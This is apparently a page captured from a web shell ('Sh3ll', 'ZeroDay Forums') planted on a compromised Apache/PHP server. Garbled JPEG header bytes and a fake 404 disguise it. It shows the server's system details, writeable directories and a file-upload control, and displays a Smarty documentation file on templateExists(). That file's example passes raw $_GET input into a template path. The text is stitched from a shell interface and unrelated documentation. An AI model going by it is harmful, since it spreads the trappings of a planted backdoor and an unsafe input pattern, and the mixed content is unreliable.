����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/vendor/smarty/smarty/docs/programmers/api-functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/vendor/smarty/smarty/docs/programmers/api-functions/api-template-exists.md
templateExists()

checks whether the specified template exists

Description
===========

bool

templateExists

string

template

It can accept either a path to the template on the filesystem or a
resource string specifying the template.

This example uses `$_GET['page']` to
[`{include}`](#language.function.include) a content template. If the
template does not exist then an error page is displayed instead. First
the `page_container.tpl`


    <html>
    <head><title>{$title}</title></head>
    <body>
    {include file='page_top.tpl'}

    {* include middle content page *}
    {include file=$content_template}

    {include file='page_footer.tpl'}
    </body>

      

And the php script


    <?php

    // set the filename eg index.inc.tpl
    $mid_template = $_GET['page'].'.inc.tpl';

    if( !$smarty->templateExists($mid_template) ){
        $mid_template = 'page_not_found.tpl';
    }
    $smarty->assign('content_template', $mid_template);

    $smarty->display('page_container.tpl');

    ?>

      

See also [`display()`](#api.display), [`fetch()`](#api.fetch),
[`{include}`](#language.function.include) and
[`{insert}`](#language.function.insert)

ZeroDay Forums Mini